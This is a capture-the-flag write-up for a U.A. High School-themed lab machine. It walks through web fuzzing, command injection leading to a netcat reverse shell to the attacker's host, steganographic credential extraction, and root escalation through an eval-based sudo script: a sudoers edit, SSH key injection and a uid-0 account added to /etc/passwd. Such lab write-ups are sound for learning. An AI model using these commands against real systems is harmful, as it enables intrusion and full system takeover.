Join us in the mission to protect the digital world of superheroes! U.A., the most renowned Superhero Academy, is looking for a superhero to test the security of our new site.
Our site is a reflection of our school values, designed by our engineers with incredible Quirks. We have gone to great lengths to create a secure platform that reflects the exceptional education of the U.A.
Reconnaissance
The nmap scan doesn’t provide much information.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ nmap -sV -sC -oN nmap_results 10.10.94.89
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-21 20:30 CEST
Nmap scan report for 10.10.94.89
Host is up (0.037s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 58:2f:ec:23:ba:a9:fe:81:8a:8e:2d:d8:91:21:d2:76 (RSA)
| 256 9d:f2:63:fd:7c:f3:24:62:47:8a:fb:08:b2:29:e2:b4 (ECDSA)
|_ 256 62:d8:f8:c9:60:0f:70:1f:6e:11:ab:a0:33:79:b5:5d (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: U.A. High School
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.73 seconds
Looking at the website, there was nothing unusual on the surface of the site except for a contact form that didn’t seem actionable, as its action attribute was set to #
. Typically, one could attempt blind XSS, but this form was unresponsive.
To dig deeper, I ran ffuf
to perform directory fuzzing. Despite numerous false positives, one interesting path, assets/index.php
, stood out.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ ffuf -w /usr/share/wordlists/OneListForAll/onelistforallmicro.txt -recursion -u http://10.10.94.89/FUZZ -mc 200,301,302
:: Method : GET
:: URL : http://10.10.94.89/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/OneListForAll/onelistforallmicro.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,301,302
________________________________________________
?xxnew2018_url2=2 [Status: 200, Size: 1988, Words: 171, Lines: 62, Duration: 31ms]
index.html?findcli=-1 [Status: 200, Size: 1988, Words: 171, Lines: 62, Duration: 33ms]
?author=1 [Status: 200, Size: 1988, Words: 171, Lines: 62, Duration: 31ms]
assets [Status: 301, Size: 311, Words: 20, Lines: 10, Duration: 31ms]
[INFO] Adding a new job to the queue: http://10.10.94.89/assets/FUZZ
?xxnew2018_url2=2 [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 31ms]
index.php/user/add [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 31ms]
index.php/user/sign_up [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 34ms]
?author=1 [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 31ms]
index.php/login [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 31ms]
index.php/user/password [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 31ms]
When we have access the index.php
page, we’re greeted with a blank page. To explore further, we can fuzz for parameters. I opted to append =id
` to test for interesting results. We need to filter out responses that return files with a size of 0.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/burp-parameter-names.txt -u 'http://10.10.94.89/assets/index.php?FUZZ=id' -fs 0
:: Method : GET
:: URL : http://10.10.94.89/assets/index.php?FUZZ=id
:: Wordlist : FUZZ: /usr/share/wordlists/SecLists/Discovery/Web-Content/burp-parameter-names.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 0
________________________________________________
cmd [Status: 200, Size: 72, Words: 1, Lines: 1, Duration: 39ms]
:: Progress: [6453/6453] :: Job [1/1] :: 1324 req/sec :: Duration: [0:00:05] :: Errors: 0 ::
When accessing “http://10.10.94.89/assets/index.php?cmd=id”, we receive a base64-encoded string in the response. Decoding the base64 string reveals the following output:
1
2
$ echo -n "dWlkPTMzKHd3dy1kYXRhKSBnaWQ9MzMod3d3LWRhdGEpIGdyb3Vwcz0zMyh3d3ctZGF0YSkK" | base64 -d
uid=33(www-data) gid=33(www-data) groups=33(www-data)
This confirms we’re dealing with the www-data
user, and we can proceed to execute a reverse shell.
Foothold
We prepare the following reverse shell payload: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc $IP $PORT >/tmp/f
We URL-encode the command to inject it into the vulnerable parameter: 10.10.94.89/assets/index.php?cmd=rm %2Ftmp%2Ff%3Bmkfifo %2Ftmp%2Ff%3Bcat %2Ftmp%2Ff|%2Fbin%2Fbash -i 2>%261|nc 10.8.6.138 1234 >%2Ftmp%2Ff
Once we get a shell we find a secret passphrase in the /var/www/Hidden_Content
folder and a user account (“deku”).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.8.6.138] from (UNKNOWN) [10.10.94.89] 46812
www-data@myheroacademia:/var/www/html/assets$ whoami
www-data
www-data@myheroacademia:/var/www/html/assets$ cd ..
www-data@myheroacademia:/var/www/html$ cd ..
www-data@myheroacademia:/var/www$ cd ..
www-data@myheroacademia:/var/www$ ls
Hidden_Content
html
www-data@myheroacademia:/var/www$ cd Hidden_Content
www-data@myheroacademia:/var/www/Hidden_Content$ ls
passphrase.txt
www-data@myheroacademia:/var/www/Hidden_Content$ cat passphrase.txt
QWxsbWlnaHRGb3JFdmVyISEhCg==
www-data@myheroacademia:/var/www/Hidden_Content$ cat passphrase.txt | base64 -d
AllmightForEver!!!
www-data@myheroacademia:/var/www/Hidden_Content$ ls /home/
deku
Lateral movement
When attempting to switch to this user, the passphrase doesn’t seem to work.
1
2
3
4
www-data@myheroacademia:/var/www/Hidden_Content$ su deku
su deku
Password: AllmightForEver!!!
su: Authentication failure
We continue exploring the assets
directory, revisiting the folders identified during the reconnaissance phase. However, upon further inspection of the images
folder, one file stands out as particularly interesting: oneforall.jpg
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
www-data@myheroacademia:/var/www$ cd html
www-data@myheroacademia:/var/www/html$ ls
about.html
admissions.html
assets
contact.html
courses.html
index.html
www-data@myheroacademia:/var/www/html$ cd assets
www-data@myheroacademia:/var/www/html/assets$ ls
images
index.php
styles.css
www-data@myheroacademia:/var/www/html/assets$ cd images
www-data@myheroacademia:/var/www/html/assets/images$ ls
oneforall.jpg
yuei.jpg
When attempting to access oneforall.jpg in the browser (“http://10.10.94.89/assets/images/oneforall.jpg”), we encounter an error stating that the file is corrupt. This suggests it might contain more than just an image, so we decide to download it for further inspection.
1
2
3
4
5
6
7
8
9
10
$ wget http://10.10.94.89/assets/images/oneforall.jpg
--2024-09-21 21:13:57-- http://10.10.94.89/assets/images/oneforall.jpg
Connecting to 10.10.94.89:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 98264 (96K) [image/jpeg]
Saving to: ‘oneforall.jpg’
oneforall.jpg 100%[=================================================>] 95.96K 440KB/s in 0.2s
2024-09-21 21:13:57 (440 KB/s) - ‘oneforall.jpg’ saved [98264/98264]
Running strings
on it doesn’t provide any useful information.
1
2
3
4
5
6
7
8
9
10
11
12
13
$ strings oneforall.jpg
, #&')*)
-0-(0%()(
((((((((((((((((((((((((((((((((((((((((((((((((((
$3br
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
#3R
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
CBq*
%zRD
fY{^
RgDg}
u/c2
We find out that the file is just marked as data
, which might suggest it’s corrupted.
1
2
$ file oneforall.jpg
oneforall.jpg: data
We then inspect the image’s hex code using hexeditor -b oneforall.jpg
and notice that the file’s magic bytes do not match a standard JPEG image. By referring to a list of file signatures, we fix the magic bytes using by performing CTRL+A to add 12 empty places and then write those magic bytes FF D8 FF E0 00 10 4A 46 49 46 00 01
, which seems to be the correct bytes for this JPEG file.
Comparison of the before and after hex code of the image:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ xxd oneforall.jpg
00000000: 8950 4e47 0d0a 1a0a 0000 0001 0100 0001 .PNG............
00000010: 0001 0000 ffdb 0043 0006 0405 0605 0406 .......C........
00000020: 0605 0607 0706 080a 100a 0a09 090a 140e ................
00000030: 0f0c 1017 1418 1817 1416 161a 1d25 1f1a .............%..
00000040: 1b23 1c16 1620 2c20 2326 2729 2a29 191f .#... , #&')*)..
00000050: 2d30 2d28 3025 2829 28ff db00 4301 0707 -0-(0%()(...C...
...
...
...
$ xxd oneforall2.jpg
00000000: ffd8 ffe0 0010 4a46 4946 0001 8950 4e47 ......JFIF...PNG
00000010: 0d0a 1a0a 0000 0001 0100 0001 0001 0000 ................
00000020: ffdb 0043 0006 0405 0605 0406 0605 0607 ...C............
00000030: 0706 080a 100a 0a09 090a 140e 0f0c 1017 ................
00000040: 1418 1817 1416 161a 1d25 1f1a 1b23 1c16 .........%...#..
00000050: 1620 2c20 2326 2729 2a29 191f 2d30 2d28 . , #&')*)..-0-(
There are tools to extract data from images such as steghide
. We can use the passphrase we got earlier to extract the data.
1
2
3
4
5
6
7
8
$ steghide --extract -sf oneforall2.jpg
Enter passphrase:
Corrupt JPEG data: 12 extraneous bytes before marker 0xdb
wrote extracted data to "creds.txt".
$ cat creds.txt
Hi Deku, this is the only way I've found to give you your account credentials, as soon as you have them, delete this file:
deku:One**REDACTED**1/A
We can now sign into the “deku” user and get the user flag.
1
2
3
4
5
6
www-data@myheroacademia:/var/www/html/assets/images$ su deku
Password: One**REDACTED**1/A
id
uid=1000(deku) gid=1000(deku) groups=1000(deku)
cat /home/deku/user.txt
THM{W3l**REDACTED**ll??}
Privilege Escalation
We check the sudo
permissions for the “deku” user.
1
2
3
4
5
6
7
8
9
$ sudo -l
sudo: a terminal is required to read the password; either use the -S option to read from standard input or configure an askpass helper
$ sudo -l -S
[sudo] password for deku: One?For?All_!!one1/A
Matching Defaults entries for deku on myheroacademia:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User deku may run the following commands on myheroacademia:
(ALL) /opt/NewComponent/feedback.sh
The script /opt/NewComponent/feedback.sh
has root privileges. We notice that it uses eval to process user input. Although there is an extensive blacklist, blacklist are often a bad security measure as they are not complete which is the case with this one as well.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
cat /opt/NewComponent/feedback.sh
#!/bin/bash
echo "Hello, Welcome to the Report Form "
echo "This is a way to report various problems"
echo " Developed by "
echo " The Technical Department of U.A."
echo "Enter your feedback:"
read feedback
if [[ "$feedback" != *"\`"* && "$feedback" != *")"* && "$feedback" != *"\$("* && "$feedback" != *"|"* && "$feedback" != *"&"* && "$feedback" != *";"* && "$feedback" != *"?"* && "$feedback" != *"!"* && "$feedback" != *"\\"* ]]; then
echo "It is This:"
eval "echo $feedback"
echo "$feedback" >> /var/log/feedback.txt
echo "Feedback successfully saved."
else
echo "Invalid input. Please provide a valid input."
fi
As we can still use the >
symbol we can write files. There are a few approaches we can take.
Approach 1: Adding deku to the sudoers file
We can append the line deku ALL=NOPASSWD: ALL >> /etc/sudoers
to the /etc/sudoers
file to allow deku to run all commands as root without a password.
Explanation:
etc/sudoers
is a file that controls who can use thesudo
command and what they can do with it.ALL=NOPASSWD
:ALL
means the user deku can run any command (ALL
) as root without needing to enter a password (NOPASSWD
).- The
>>
appends this rule to the sudoers file.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
deku@myheroacademia:~$ sudo /opt/NewComponent/feedback.sh
[sudo] password for deku:
Hello, Welcome to the Report Form
This is a way to report various problems
Developed by
The Technical Department of U.A.
Enter your feedback:
deku ALL=NOPASSWD: ALL >> /etc/sudoers
It is This:
Feedback successfully saved.
deku@myheroacademia:~$ sudo -l
Matching Defaults entries for deku on myheroacademia:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User deku may run the following commands on myheroacademia:
(ALL) /opt/NewComponent/feedback.sh
(root) NOPASSWD: ALL
deku@myheroacademia:~$ sudo bash
root@myheroacademia:/home/deku# id
uid=0(root) gid=0(root) groups=0(root)
root@myheroacademia:/home/deku# cat /root/root.txt
THM{Y0U_**REDACTED**_H3r0}
Approach 2: SSH Key Injection
Alternatively, we could generate an SSH key and append it to the root user’s authorized keys to gain root access.
Generating the key:
1
2
3
$ ssh-keygen -t rsa
$ chmod 600 rsa_id
$ cat rsa_id.pub
Adding the key to /root/.ssh/authorized_keys
via the vulnerable script:
1
2
3
4
5
6
7
8
deku@myheroacademia:~$ sudo /opt/NewComponent/feedback.sh
[sudo] password for deku:
Hello, Welcome to the Report Form
This is a way to report various problems
Developed by
The Technical Department of U.A.
Enter your feedback:
ssh-rsa AAAAsq4d3azi33a8....38yjeazi3 > /root/.ssh/authorized_keys
Then ssh -i rsa_id
to log into the root account.
1
$ ssh -i rsa_id root@$IP
Approach 3: Adding a New Root User
we can make an addition to the /etc/passwd
file and manually add an user with uid
and gid
set to 0 ( same as the root user ).
First, we create a password hash.
1
2
3
$ mkpasswd -m md5crypt -s
Password: 123
$1$MgMMCplp$bx1JXnOEyOXMkHf9VnHgK0
Formatting the user information in the style of the /etc/passwd
.
1
aaa:$1$MgMMCplp$bx1JXnOEyOXMkHf9VnHgK0:0:0:aaa:/root:/bin/bash
Next, we append the following line to the /etc/passwd
file using the feedback script:
1
2
3
4
5
6
7
8
9
deku@myheroacademia:~$ sudo /opt/NewComponent/feedback.sh
Hello, Welcome to the Report Form
This is a way to report various problems
Developed by
The Technical Department of U.A.
Enter your feedback:
'aaa:$1$MgMMCplp$bx1JXnOEyOXMkHf9VnHgK0:0:0:aaa:/root:/bin/bash' >> /etc/passwd
It is This:
Feedback successfully saved.
We use '
around what we want to write due to the $ character in the password hash. We can see we were succesful in writing to the /etc/passwd file.
1
2
deku@myheroacademia:~$ tail -n1 /etc/passwd
aaa:$1$MgMMCplp$bx1JXnOEyOXMkHf9VnHgK0:0:0:aaa:/root:/bin/bash
We can now switch to this new root user:
1
2
3
4
deku@myheroacademia:~$ su - aaa
Password: 123
root@myheroacademia:~# id
uid=0(root) gid=0(root) groups=0(root)